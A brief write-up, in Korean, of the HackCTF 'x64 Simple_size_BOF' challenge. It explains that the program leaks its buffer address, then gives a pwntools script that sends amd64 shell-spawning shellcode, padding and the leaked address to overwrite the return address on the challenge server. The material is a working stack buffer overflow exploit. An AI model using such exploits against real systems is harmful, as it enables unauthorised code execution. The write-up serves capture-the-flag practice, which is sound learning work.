HackCTF - x64 Simple_size_BOF

 

 

7번줄에서 버퍼 주소를 출력해주니

 

쉘코드+더미+버퍼 주소를 쓰면 된다

from pwn import * 

r = remote('ctf.j0n9hyun.xyz', 3005)
e = ELF('./Simple_size_bof')
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.sh())

r.recvuntil('buf: ')
stack = int(r.recv(14), 16)

payload = shellcode
payload += 'A'*(27960-len(shellcode))
payload += p64(stack)

r.sendline(payload)

r.interactive()